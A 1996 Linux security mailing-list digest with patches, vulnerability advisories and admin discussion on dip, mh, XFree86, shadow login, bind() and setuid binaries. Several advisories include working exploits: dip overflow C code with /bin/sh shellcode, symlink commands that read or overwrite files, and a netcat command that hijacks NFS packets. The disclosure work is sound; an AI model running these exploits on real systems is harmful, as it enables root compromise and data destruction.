m4"); ! close(fd); ! unlink(tmp_name); ! exit(0377); ! } ! switch (child = fork()) { ! case -1: ! close(fd); ! unlink(tmp_name); ! perror("fork failed in m4_defs"); ! exit(0377); ! case 0: ! close(STDIN_FILENO); ! dup(pipefds[0]); ! close(STDOUT_FILENO); ! dup(fd); ! close(pipefds[0]); ! close(pipefds[1]); ! close(fd); ! execvp(m4_args[0], m4_args); ! perror("failed to exec m4"); ! exit(0377); ! } ! close(fd); ! close(pipefds[0]); ! tmpf = fdopen(pipefds[1], "w"); if (tmpf == NULL) { perror("Cannot open pipe to m4"); + unlink(tmp_name); exit(0377); } *************** *** 2134,2140 **** config_file, m4_endquote); ! pclose(tmpf); return(tmp_name); } #endif /* M4 */ - --- 2155,2172 ---- config_file, m4_endquote); ! fclose(tmpf); ! if (waitpid(child, &status, 0) != child) { ! perror("error while waiting for child"); ! unlink(tmp_name); ! exit(0377); ! } ! if (! WIFEXITED(status) || WEXITSTATUS(status)) { ! fprintf(stderr, "%s exited in an unexpected way. status = %d\n", ! m4_args[0], status); ! unlink(tmp_name); ! exit(0377); ! } return(tmp_name); } #endif /* M4 */ *** fvwm/functions.c 1996/01/13 12:14:39 1.1 - --- fvwm/functions.c 1996/01/13 13:25:32 *************** *** 1643,1649 **** void QuickRestart(void) { ! extern char *m4_options; extern char *display_name; int i; FvwmWindow *tmp,*next; - --- 1643,1649 ---- void QuickRestart(void) { ! extern char **m4_args; extern char *display_name; int i; FvwmWindow *tmp,*next; *************** *** 1684,1690 **** InitVariables(); #ifdef M4 ! MakeMenus(display_name, m4_options); #else MakeMenus(display_name, NULL); #endif - --- 1684,1690 ---- InitVariables(); #ifdef M4 ! MakeMenus(display_name, m4_args); #else MakeMenus(display_name, NULL); #endif *** fvwm/fvwm.c 1996/01/13 12:14:39 1.1 - --- fvwm/fvwm.c 1996/01/13 13:46:18 *************** *** 102,111 **** char **g_argv; #ifdef M4 int m4_enable; /* use m4? */ int m4_prefix; /* Do GNU m4 prefixing (-P) */ ! char m4_options[BUFSIZ]; /* Command line options to m4 */ ! char m4_prog[BUFSIZ]; /* Name of the m4 program */ int m4_default_quotes; /* Use default m4 quotes */ char m4_startquote[16]; /* Left quote characters for m4 */ char m4_endquote[16]; /* Right quote characters for m4 */ - --- 102,112 ---- char **g_argv; #ifdef M4 + #define MAX_ARGS (BUFSIZ / sizeof(char *)) int m4_enable; /* use m4? */ int m4_prefix; /* Do GNU m4 prefixing (-P) */ ! char *m4_args[MAX_ARGS] = { "m4", NULL }; /* Command line options to m4 */ ! int m4_argcount = 1; /* Current number of args in m4_args */ int m4_default_quotes; /* Use default m4 quotes */ char m4_startquote[16]; /* Left quote characters for m4 */ char m4_endquote[16]; /* Right quote characters for m4 */ *************** *** 154,161 **** m4_enable = TRUE; m4_prefix = FALSE; - - strcpy(m4_prog, "m4"); - - *m4_options = '\0'; m4_default_quotes = 1; strcpy(m4_startquote, "`"); strcpy(m4_endquote, "'"); - --- 155,160 ---- *************** *** 187,201 **** m4_enable = FALSE; } else if (mystrncasecmp(argv[i], "-m4-prefix", 10) == 0) ! { m4_prefix = TRUE; } else if (mystrncasecmp(argv[i],"-m4opt", 6) == 0) { ! if (++i < argc) { ! strcat(m4_options, argv[i]); ! strcat(m4_options, " "); } } else if (mystrncasecmp(argv[i], "-m4-squote", 6) == 0) - --- 186,205 ---- m4_enable = FALSE; } else if (mystrncasecmp(argv[i], "-m4-prefix", 10) == 0) ! { ! if (! m4_prefix && m4_argcount < MAX_ARGS - 1) ! { ! m4_args[m4_argcount++] = "--prefix-builtins"; ! m4_args[m4_argcount] = NULL; ! } m4_prefix = TRUE; } else if (mystrncasecmp(argv[i],"-m4opt", 6) == 0) { ! if (++i < argc && m4_argcount < MAX_ARGS - 1) { ! m4_args[m4_argcount++] = argv[i]; ! m4_args[m4_argcount] = NULL; } } else if (mystrncasecmp(argv[i], "-m4-squote", 6) == 0) *************** *** 218,224 **** { if (++i < argc) { ! strcpy(m4_prog, argv[i]); } } #endif - --- 222,228 ---- { if (++i < argc) { ! m4_args[0] = argv[i]; } } #endif *************** *** 362,368 **** /* read config file, set up menus, colors, fonts */ #ifdef M4 ! MakeMenus(display_name, m4_options); #else MakeMenus(display_name, NULL); #endif - --- 366,372 ---- /* read config file, set up menus, colors, fonts */ #ifdef M4 ! MakeMenus(display_name, m4_args); #else MakeMenus(display_name, NULL); #endif *** fvwm/fvwm.man 1996/01/13 14:49:13 1.1 - --- fvwm/fvwm.man 1996/01/13 14:51:05 *************** *** 410,419 **** If GNU \fIm4\fP is available, cause \fIm4\fP to prefix all builtin commands with \fIm4_\fP. .IP "\fB-m4opt\fP \fIoption\fP" ! Pass this option to \fIm4\fP. The \fIoption\fP can be any string of ! characters without spaces. This option can occur multiple times. If ! GNU \fIm4\fP is available, \fBDO NOT\fP pass the \fI-P\fP option here. ! Use \fB-m4-prefix\fP instead. .IP "\fB-m4-squote\fP \fIstring\fP" Use this given \fBstring\fP as the starting quote characters. You must also specify \fB-m4-equote\fI. - --- 410,418 ---- If GNU \fIm4\fP is available, cause \fIm4\fP to prefix all builtin commands with \fIm4_\fP. .IP "\fB-m4opt\fP \fIoption\fP" ! Pass this option to \fIm4\fP. This option can occur multiple times. ! If GNU \fIm4\fP is available, \fBDO NOT\fP pass the \fI-P\fP option ! here. Use \fB-m4-prefix\fP instead. .IP "\fB-m4-squote\fP \fIstring\fP" Use this given \fBstring\fP as the starting quote characters. You must also specify \fB-m4-equote\fI. *** fvwm/misc.h 1996/01/13 13:24:31 1.1 - --- fvwm/misc.h 1996/01/13 13:25:22 *************** *** 130,136 **** extern void FetchWmColormapWindows (FvwmWindow *tmp); extern void PaintEntry(MenuRoot *, MenuItem *); extern void PaintMenu(MenuRoot *, XEvent *); ! extern void MakeMenus(const char*, char*); extern void InitEvents(void); extern void DispatchEvent(void); extern void HandleEvents(void); - --- 130,136 ---- extern void FetchWmColormapWindows (FvwmWindow *tmp); extern void PaintEntry(MenuRoot *, MenuItem *); extern void PaintMenu(MenuRoot *, XEvent *); ! extern void MakeMenus(const char*, char**); extern void InitEvents(void); extern void DispatchEvent(void); extern void HandleEvents(void); ------------------------------ End of linux-security-digest V2 #2 ********************************** linux-security-digest/v02.n003100664 1767 1767 6414 6101120022 15400 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #3 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 23 January 1996 Volume 02 : Number 003 Re: restorefont security hole Linux: dip security hole ---------------------------------------------------------------------- From: Michael Weller Date: Mon, 15 Jan 1996 21:57:10 +0100 Subject: Re: restorefont security hole Thx for reporting that one, however, have a look at the Readme's of svgalib and see that Harm ([email protected]) is away from the net and I look after svgalib instead of him now. Consider the problem fixed for the next release of svgalib (will be 1.2.10). Let me add on as well, that svgalib is not really intended for security sensitive systems. Even if there are not that many security problems it can easily crash your system (and does for some bad behaved apps). Simply: If you have to run a rock-solid, stable, and sensitive system: Don't run svgalib on it. (at least not w/o double checking each program (including tools) you run on it for stability). Michael. ------------------------------ From: Dan Walters Date: Sun, 21 Jan 1996 14:34:22 -0600 (CST) Subject: Linux: dip security hole PROGRAM: dip 3.3.7n, and probably other variants AFFECTED SYSTEMS: Linux - Slackware 3.0 and RedHat 2.1 verified, others unknown. IMPACT: Local users can get superuser privleges. SYNOPSIS: Some Linux distributions come with dip setuid root by default. There are multiple points in dip where an unbounded buffer is used with user supplied data making possible a stack overflow. Functions in which this appears to be possible include do_chatkey() and mdm_dial(). WORKAROUND: It is suggested that at least until the source has been further scrutinized that dip not be setuid unless necessary. chmod 0755 dip If you must have dip setuid, place it in a group where it can only be executed by trusted users. SAMPLE EXPLOIT: /* dip-exploit.c - overruns the buffer in do_chatkey() to give a shell */ #include #include #include #include #include #define PATH_DIP "/usr/sbin/dip" u_char shell[] = /* courtesy of avalon ;) */ "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; u_long esp() { __asm__("movl %esp, %eax"); } main() { u_char buf[1024]; u_long addr; int i, f; strcpy(buf, "chatkey "); addr = esp() - 192; for (i=8; i<128+16; i+=4) *((u_long *) (buf+i)) = addr; for (i=128+16; i<512; i++) buf[i] = 0x90; for (i=0; i Date: Tue, 23 Jan 1996 11:01:03 -0500 Subject: Re: Linux: dip security hole A security hole exists in all shipped releases of the "dip" package for Red Hat Linux (for Intel architectures -- there is no dip for Red Hat/AXP yet). Users should immediately upgrade: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/updates/RPMS/dip-3.3.7n-3.i386.rpm MD5 sum: 3c94852a8fb636aa9b5407cae155e2ae dip-3.3.7n-3.i386.rpm - -Marc ------------------------------ From: David J Meltzer Date: Wed, 24 Jan 1996 22:12:07 -0500 (EST) Subject: Red Hat mh inc/msgchk security hole [mod: This is not a terribly dangerous hole, but I'm approving this to linux-alert nevertheless. Making tools such as mail readers setuid root is a bad idea, anyway (IMHO). Marc Ewing has made an updated RPM available at ftp.redhat.com as /pub/redhat-2.1/i386/updates/RPMS/mh-6.8.3-4.i386.rpm Its MD5 sum is 32d61477bc9facfbad7315598d5dee91. --okir] There is a security hole in Red Hat 2.1, which installs /usr/bin/mh/inc and /usr/bin/mh/msgchk suid root. These programs are configured suid root in order to bind to a privileged port for rpop authentication. However, there is a non-security conflict between mh and the default Red Hat 2.1 configuration in that the /etc/services lists pop-2 and pop-3 services, but the mh utilities do lookups for a pop service, which doesn't exist, resulting in an inability to use any of the pop functionality. This may be a fortunate bug, since there may be more serious security holes within the pop functions of these two program. The security hole present in these two programs is that when opening up the configuration files in the user's home directory, root privileges are maintained, and symbolic links are followed. This allows an arbitrary file to to be opened. Fortunately, the program does not simply dump the contents of this file anywhere, and only certain formatting is allowed in the file to be processed by the program in order to see any output. In the cases where it will be processed, only the first line of the file will actually be output to the user. Program: /usr/bin/mh/inc, /usr/bin/mh/msgchk Affected Operating Systems: RedHat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/bin/mh/inc /usr/bin/mh/msgchk Security Compromise: read 1st line of some arbitrary files Author: Dave M. ([email protected]) Synopsis: inc & msgchk fail to check file permissions before opening user configuration files in the user's home directory, allowing a user on the system to read the first line of any file on the system with some limitations. Exploit: $ ln -s FILE_TO_READ ~/.mh_profile $ /usr/bin/mh/msgchk /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: "Anthony C. Zboralski" Date: Thu, 25 Jan 1996 21:37:55 +0100 (MET) Subject: SUID binaries I use SVGATextMode since version 0.9 (now using 1.1) to allow me to have fast 132x60x8 Linux text consoles. In most source distribution, it is adviced to make it SUID. The problem is that if a user runs it from an xterm on the local display it will crash the computer.. Also in slackware 3.0, users shouldn't be able to use the modem to dial out.. should cu be guid uucp? I checked some of the SUID and here is a list of suspicious SUID binaries Should those file really be SUID by default? (Slackware 3.0): /usr/bin/chfn 4711 root bin (user can change is real name) /usr/bin/fix132x43 6755 root bin (seg fault on my machine) /usr/lib/svgalib/* 6755 root bin /usr/games/doom/linuxsdoom 4711 root bin (crashes) /usr/games/doom/killmouse 4711 root bin /usr/games/doom/startmouse 4711 root bin /usr/games/sastroid 4711 /usr/X11R6/bin/xtetris 2711 root bin /usr/X11R6/bin/color_xterm 4755 root bin /usr/games/abuse-0.31/keydrv /usr/X11R6/bin/SuperProbe 4755 root bin ____ \ /__ Anthony C. Zboralski \/ / \/ Finger for PGP Public Key ------------------------------ From: Bruce Murphy Date: Sun, 28 Jan 1996 13:10:51 +0800 Subject: Re: SUID binaries In message , "Anthony C. Zboralski" wrote: [Mod: Quoting trimmed. --Jeff] > I checked some of the SUID and here is a list of suspicious SUID binaries > Should those file really be SUID by default? (Slackware 3.0): > /usr/bin/chfn 4711 root bin (user can change is real name) > /usr/bin/fix132x43 6755 root bin (seg fault on my machine) > /usr/lib/svgalib/* 6755 root bin > /usr/games/doom/linuxsdoom 4711 root bin (crashes) > /usr/games/doom/killmouse 4711 root bin > /usr/games/doom/startmouse 4711 root bin > /usr/games/sastroid 4711 > /usr/X11R6/bin/xtetris 2711 root bin > /usr/X11R6/bin/color_xterm 4755 root bin > /usr/games/abuse-0.31/keydrv > /usr/X11R6/bin/SuperProbe 4755 root bin You really shouldm't have *any* games suid root. It just isn't worth the risk. There's almost certainly going to be more bugs discovered with the svga stuff. Unsuid /usr/games/* Superprobe *shouldn't* be suid, I believe that xfree requires the probing configure to be run as root to work anyway. chfn need to access the password file. Yes it does need suid to run. Whether you need chfn is another matter entirely. I suggest creating a games group/user to handling highscore tables etc. This will fix the xtetris. Svgalib? Do you *really* need people running vga apps on the console of your computer. If you're at all concerned about security then the console shouldn't be accessable anyway. Cheers, Bruce. - -- Packrat (BSc/BE;COSO;Wombat Admin) Nihil illegitemi carborvndvm. ------------------------------ From: Bruce Murphy Date: Sun, 28 Jan 1996 17:02:55 +0800 Subject: Proposal: s[gu]id standards. It strikes me that an available standard on what programs should and should not be suid could be useful. Perhaps having a couple of standard configurations as linux can be found both in a personal machine setting and as a multiuser box would be advisable. The creation of standard groups/users for things like games high score tables and other functions that are currently suid root could be helpful. Perhaps even allow programs that require /proc access to do so a little more securely. Obviously there is no need for this from the perspective security aware users, but from the point of view of newer users, it would be helpful both to have this as a widely available resource as well as getting it incorporated (both in text and practice) into all the major distributions. They, after all, control the linux set-up and file structure that many people use without modifications... Cheers, Bruce Murphy. - -- Packrat (BSc/BE;COSO;Wombat Admin) Nihil illegitemi carborvndvm. ------------------------------ From: Jeff Uphoff Date: Sun, 28 Jan 1996 14:21:55 -0500 Subject: Re: Proposal: s[gu]id standards. "BM" == Bruce Murphy writes: BM> It strikes me that an available standard on what programs should and BM> should not be suid could be useful. Not a bad idea...a good approach might be to list programs that have been thoroughly (within reason) scrutinized for suid "safety." A second list could be a "no no" list that would contain both basic guidelines (e.g. no interactive shells, no non-svgalib games) and specific programs (e.g. dip, for now). The programs that *must* be setuid to function properly (e.g. rlogin, su) should be listed separately from all others, just to prevent confusion. However, IMO this should be more of an advisory list than any attempt at a standard.... BM> The creation of standard groups/users for things like games high score BM> tables and other functions that are currently suid root could be BM> helpful. [...] The FSSTND group has already decided that this issue, in general, would not be addressed by them. >From the FSSTND-FAQ: - ----- Q) Why doesn't the standard specify the system-level users/groups and proper ownerships/permissions/setuid bits for everything? A) We feel that this is, primarily, a local issue. Many sites have their own local user-id/group-id setup, and linux boxes will have to be integrated with those. What's more, there is very little gain from standardizing these across all linux machines, as it typically is not essential to allow binary distributions. - ----- Now this isn't to say that it won't ever be done--it just says that the FSSTND currently considers this issue to be outside of its territory. For id specifications to be successful they really would have to be incorporated, eventually, into the FSSTND. (I personally think such an effort would be a waste of time, and thus agree with the FSSTND as it stands on this issue.) - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: David J Meltzer Date: Mon, 29 Jan 1996 00:16:46 -0500 (EST) Subject: XFree86 3.1.2 Security Problems There are security holes in XFree86 3.1.2, which installs its servers as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, it does not take proper precautions to ensure that file permissions are maintained, resulting in the ability to overwrite files, and to read limited portions of other files. The first problem stems from the server opening a temporary file, /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this file a symlink, the server will overwrite the original file, and then write to it its current pid. Other problems exist in the server relating to similar problems, one such example is the ability to specify an arbitrary file for the XF86config file which will then be opened, and the first line that fails to match the expected format will be output with an error, allowing a line to be read from an arbitrary file. Program: XFree86 3.1.2 servers Affected Operating Systems: All systems with XFree86 3.1.2 installed Requirements: account on system Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* Security Compromise: overwrite arbitrary files Author: Dave M. ([email protected]) Synopsis: While running suid root, XFree86 servers do not properly check file permissions, allowing a user to overwrite arbitrary files on a system. Exploit: $ ls -l /var/adm/wtmp - -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp $ ln -s /var/adm/wtmp /tmp/.tX0-lock $ startx (At this point exit X if it started, or else ignore any error messages) $ ls -l /var/adm/wtmp - -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: David Dawes Date: Mon, 29 Jan 1996 16:40:19 +1100 (EST) Subject: Re: XFree86 3.1.2 Security Problems > There are security holes in XFree86 3.1.2, which installs its servers >as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, >it does not take proper precautions to ensure that file permissions are >maintained, resulting in the ability to overwrite files, and to read >limited portions of other files. > The first problem stems from the server opening a temporary file, >/tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this >file a symlink, the server will overwrite the original file, and then >write to it its current pid. That's true, and this is a real problem. > Other problems exist in the server relating to similar problems, one >such example is the ability to specify an arbitrary file for the XF86config >file which will then be opened, and the first line that fails to match >the expected format will be output with an error, allowing a line to be >read from an arbitrary file. This is not true. The server sets its uid to the real-uid when reading the XF86Config file. For OSs that don't have saved IDs, it forks and the child sets its uid to the real uid before opening the file. It passes the data back to the parent. Also, the server only allows an arbitrary XF86Config file to be specified when started with real-uid 0. David ------------------------------ From: David J Meltzer Date: Mon, 29 Jan 1996 00:55:56 -0500 (EST) Subject: Re: XFree86 3.1.2 Security Problems Excerpts from mail: 29-Jan-96 Re: XFree86 3.1.2 Security .. by David [email protected] > This is not true. The server sets its uid to the real-uid when reading > the XF86Config file. For OSs that don't have saved IDs, it forks and > the child sets its uid to the real uid before opening the file. It > passes the data back to the parent. Also, the server only allows an > arbitrary XF86Config file to be specified when started with real-uid 0. You are right, my machine is sufficiently mangled that I inadvertantly was running as root when I was testing that part. I apologize for the inaccuracy. (Moderators: feel free (encouraged) to kill the third paragraph of my previous post as it is plain WRONG.) [Mod: This will be corrected prior to the original message being forwarded to linux-alert; I had already approved the message to linux-security when I read this. --Jeff] /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: Bruce Murphy Date: Mon, 29 Jan 1996 17:56:09 +0800 Subject: Re: Proposal: s[gu]id standards. [mod: quoting trimmed. --okir] In message <[email protected]>, Jeff Uphoff wrote: > However, IMO this should be more of an advisory list than any attempt at > a standard.... {snip} > The FSSTND group has already decided that this issue, in general, would > not be addressed by them. {snip} > > Now this isn't to say that it won't ever be done--it just says that the > FSSTND currently considers this issue to be outside of its territory. > For id specifications to be successful they really would have to be > incorporated, eventually, into the FSSTND. (I personally think such an > effort would be a waste of time, and thus agree with the FSSTND as it > stands on this issue.) > The impact of such guidelines would only be on linux boxes that are installed "out of the box" from distributions. Sites that have enough on-hand unix experience to have s[ug]id policies wouldn't come into this category. A separate advisory list should be maintained independantly from the FSSTND, as the goal is really to have a 'minimum' level of security for out-of-box (or off cd) distributions, rather than specify standards for linux systems which are installed. Such a list would have two components, being a central repository of the relative "safety" of various compents of the linux environment as far as s[gu]id installations, and to allow a central resource to be shown to distributors of Linux. Perhaps the two functions are mutally incompatible enough that they should be maintained separately. (motivation) I would be interested in participating in any discussion lists that are started on this topic and or people getting together with the goal of putting one more piece of work towards linux being regarded as a stable secure platform from which commercial things can be run without having to write too much C code. Or at least as much as other commerical Unices are considered safe and stable. It's more about perception that fact in the commercial world however. Cheers Bruce. (Unsure whether this should have been posted to the linux-security but have done so anyway, seeing as how you moderate it anyway ;) - -- Packrat (BSc/BE;COSO;Wombat Admin) Nihil illegitemi carborvndvm. ------------------------------ From: Marek Michalkiewicz Date: Mon, 29 Jan 1996 17:38:41 +0100 (MET) Subject: Shadow /bin/login security hole - -----BEGIN PGP SIGNED MESSAGE----- Probably all versions of the Shadow Password Suite, as used on many Linux systems, have a serious security hole in the login program. It is possible to overwrite the stack by entering a long user name at the login prompt. This potentially allows remote users to gain root privileges. No prior access to the vulnerable system is necessary. Enclosed is a small patch to fix this bug. The complete package with this patch already applied is available from the primary site: ftp://ftp.ists.pwr.wroc.pl/pub/linux/shadow/shadow-960129.tar.gz and should soon be available from the mirror sites: ftp://ftp.icm.edu.pl/pub/Linux/shadow/ ftp://iguana.hut.fi/pub/linux/shadow/ ftp://ftp.cin.net/usr/ggallag/shadow/ ftp://ftp.netural.com/pub/linux/shadow/ Please verify the MD5 checksum before installation. 45dd0995bb27ca4fd4dd4c866a15e095 shadow-960129.tar.gz Please upgrade to this release immediately. Be careful, this is still BETA software. I don't know how many bugs like this still remain :-(. How this bug could go unnoticed for so many years is beyond me... Regards, Marek Michalkiewicz [email protected] begin 644 shadow-951218-960129.diff.gz M'XL(`)E.##$"`WU6:V_;-A3];/V*.PQH[,AV+*=)&F<%DJX.YJ$IACK!@#U0 MT!)E[$ID9C.X/$O& MR:N3#].;MW?3X>WLP_S^R];Y*!E?'FQ%@\'@.Y&=^U5#OPI-E-`HF8Q&^*7D M\F(4Q7'\G;2=.Z-]W/B21F>3T]/)2XZ[/(^NKVDPZH\H3OKCEW1]'<7W*V4) MOS@M2UDOI4Y;6C1+RM43U;*0PDHR.;F5W%:D2EB[,75&ME%.1G%N:GJG=/,T M)+HSUE%7Y:2-(U$4/:IJ^:A,8^E1UE89;4,VE*Q$NA9+).@*1US(37:@3H>G MPZ2_^U:N^XHA#<^3UJ42`E,!PV4E:-4X(`%O7F.<@;!_N&ABD-N+T:).*E311KN:%<"M?40$8T<^"82TD-GL$;,H>,C.K+ M4'<*$3J+XMD1AE**3(9^0R.V#[PN3)QU]4]CF0A]Y&@C`!KHD+'U$XUB7V\! M80"`01CCUV"G6X4Z/H07N0LMG]RN@YYG8I93:QH"J\0=/-?><^GUF77%*%)3 MEE)G$B@P[::"7`##F7!\%PY"K`E_=VH)92DS#&C-K:[P\OB!%G2KM0Q)K%-% MP<)B*4T&728YM!N@2VV:Y8J<*CV=]/-.MB7+2SY5T!EN)YK>FU_8$+NH*HUW>&RB6*MY$:EGZ*XY,7R6B47 M!;O%8JBLL\-J4P\WM4F'51%EW[#3G68/+6^[^A43W>YTYM#!6YE2Q;Y\O)V<7D-/G/.L]&_5<4XQT)89Y$Q^$Z=7N4*5L5HK7! M*!U&(."0^[<_S)NW3>6@)A\^F\\?IA]O9^^F'Z?O;]ZP&*UT@6E_FT^D2T^4 MM8WDO6T5R)2#%S+G880+Z4M$,1WSBWX7M<:$)]M+7O*EPZBV&H.1E2QNZSC^ M83[]\/[F;OIQ/OMCZJ,QMEJDCKVOBSM?-!FKA>M@#7(4CK_KAOT=^#C8ER;_ M-/$:A-%E7`+/B@8Z?/-PB^R'B=V1I62$YQ`H+UL?;UOK9-DC^2C9O\.%6+%) MU:+E4@7?'BB!O_YJ^=L,B[$4FG!LPYC'2411_&,F(8&3N=*W0\"&$*4:,K13_M1C7`/QTO7D!T ML*!J15TDZ%UQ^3]5'/^-T\ Probably all versions of the Shadow Password Suite, as used on many > Linux systems, have a serious security hole in the login program. It > is possible to overwrite the stack by entering a long user name at > the login prompt. This potentially allows remote users to gain root > privileges. No prior access to the vulnerable system is necessary. I'd honestly like to know if anyone has heard a report of this occuring, in part because isgraph() call in the conditional part of the for() loop. I realize you can certainly trash the stack (maybe that explains some mystery core dumps ...), but I'm wondering how many op-codes or return address locations you can jump to if you can't enter non-printable characters at the prompt ... Feel free to send your response to me directly either here or at home, [email protected]. - -- JF Haugh | GCS s++: C++++$ UBLAVOC*++++(on)$ Open Interface Development | P+@ L++>$ E--- W>$ N>$ K+++ w+ O$@ PSP Division, IBM/Austin, Texas | V-- PS+++ PE++ PGP@ tv@ b++@ d a o Bldg 903/2D017, 512-823-8817 (Tie 793) | DI++++ G e++ h----$ r+++ z++++ t+ ------------------------------ From: "Joseph S. D. Yao" Date: Mon, 29 Jan 1996 11:35:49 -0500 Subject: Re: Satan II (fwd) [mod: This is basically advertisement. The bottom line is that ISS now supports (i.e. probes for holes in) Linux installations, which might be good to know. That's why I approved it. --okir] Got this by mail; thought you all might be interested. - ---------- Forwarded message ---------- Date: Sun, 28 Jan 1996 14:16:56 -0500 (EST) From: Albatross To: [email protected] Subject: Satan II Internet Scanner Software Checks Network Security Atlanta, Jan. 17 -- Internet Security Systems has released version 3.2 of its Internet Scanner software. The company said the program is an "attack simulator" that tests your organization's network for security holes. ISS said Internet Scanner 3.2 has enhanced reporting capabilities and added tests for more than 130 security vulnerabilities, including the recently revealed Microsoft File Sharing bug. "Our added focus on Microsoft security holes stems from our customers' rapid adoption of TCP/IP (Transmission Control Protocol/Internet Protocol)-enabled Microsoft Windows NT and Windows 95," said Chris Klaus, founder and chief executive officer of ISS. According to Don Ulsch, a security consultant affiliated with the National Security Institute in Westborough, Massachusetts, The movement to Windows 95 created a whole new set of security concerns for network administrators. "Similar to virus scanning software, a security scanning tools' value to a corporation declines quickly unless it can detect the latest security holes. In the security arena, every upgrade is crucial," said Ulsch. New features of Internet Scanner 3.2 include added reporting capabilities including hyperlinks that connect to CERT advisories and vendor World Wide Web sites to pull down patches and information regarding network holes, and addition of Linux as a supported platform. The company said that will allow easy scanning from laptop PCs. The additional tests added to the new version include the Microsoft File Sharing bug, the TelnetD bug, the Stealth Scan, Finger Bomb, and misconfigured Linux NIS services. The company said its customers who have current maintenance contracts can now electronically download the updated version from the USS Web home page at http://iss.net. Internet Security Systems, tel 770-441-2531, fax 770-441-2431 - ---------------------------------------------------------------------- Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: "Aleph's K-Rad GECOS Field" Date: Tue, 30 Jan 1996 15:18:21 -0800 (PST) Subject: bind() Security Problems System Call: bind() Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix Probably others. Requirement: account on system. Security Compromise: Stealing packets from nfsd, yppasswd, ircd, etc. Credits: *Hobbit* bitblt Aleph One Synopsis: bind() does not properly check to make sure there is not a socket already bound to INADDR_ANY on the same port when binding to a specific address. On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound width INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection. Exploit: Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz Make sure an nfs server is running: w00p% netstat -a | grep 2049 udp 0 0 *.2049 *.* LISTEN Run netcat: w00p% nc -v -v -u -s 192.88.209.5 -p 2049 listening on [192.88.209.5] 2049 ... Wait for packets to arrive. Fix: Linux: A patch was been sent to Linus and Alan Cox. It should be included with 1.3.60. My original patch (included bellow) allows for binds from the same uid, as some virtual hosting software like modified httpds, and ftpds, may break otherwise. Alan didnt like this, so all bind to the same port will not be allowed in newer kernels. You should be able to easily adapt this patch or Alan's patch to 1.2.13 without much trouble. Others: Pray to your vendors. - --- begin patch --- diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c - --- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995 +++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996 @@ -46,6 +46,8 @@ * Germano Caronni : Assorted small races. * Alan Cox : sendmsg/recvmsg basic support. * Alan Cox : Only sendmsg/recvmsg now supported. + * Aleph One : Rogue processes could steal packets + * from processes bound to INADDR_ANY. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License @@ -899,6 +901,12 @@ if (sk2->num != snum) continue; /* more than one */ + if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) && + current->euid != sk2->socket->inode->i_uid) + { + sti(); + return(-EADDRINUSE); + } if (sk2->rcv_saddr != sk->rcv_saddr) continue; /* socket per slot ! -FB */ if (!sk2->reuse || sk2->state==TCP_LISTEN) Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ From: *Hobbit* Date: Tue, 30 Jan 1996 18:53:07 -0500 Subject: Aiiiieeee!! The wire into the cloud is now *smoking*, of course, possibly because A1 didn't mention mirror sites for netcat: zippy.telcom.arizona.edu:/pub/mirrors/avian.org/hacks/nc100.tgz ftp.sterling.com:/mirrors/avian.org/src/hacks/nc100.tgz coast.cs.purdue.edu:/pub/tools/unix/netcat/nc100.tgz and possibly gw.rge.com:/pub/security/coast/tools/unix/netcat/nc100.tgz At least I *think* that's the current picture, not having actually rechecked them lately. YMMV but you'll definitely get your copy faster if you hit one of these. A new version of netcat is in the works; mostly unchanged from 1.00 except for some tiny bugfixes. It'll include a better bunch of companion programs. _H* ------------------------------ From: Patrick Powell Date: Tue, 30 Jan 1996 06:43:42 -0800 Subject: Re: BoS: Re: XFree86 3.1.2 Security Problems Folks, I went through exactly the same thing when I developed the LPRng print spooler package. The solution that I used for the problem was as follows: 1. In the startup code, use seteuid()/setreud() to set EUID to something banal such as daemon, and RUID to root. (you might want to save the original RUID for permissions checking). 2. Do all operations EXCEPT socket() and bind() calls as EUID daemon. It turns out that on some ^&*(*&*( systems when you want to bind to a reserved port, you must open the socket EUID ROOT and to the bind EUID root. 3. Before you do an exec, do a seteuid/setuid to the original user and/or daemon UID (your application milage may vary on this). Now this sounds brutal, and it is. But look at is this way: you do things as ROOT only for those things that absolutely require it, and never pass on the EUID root capability to children. This should be relatively painless to do. Patrick ("I have a choice of having some of my fingernails pulled off with red hot pincers, or 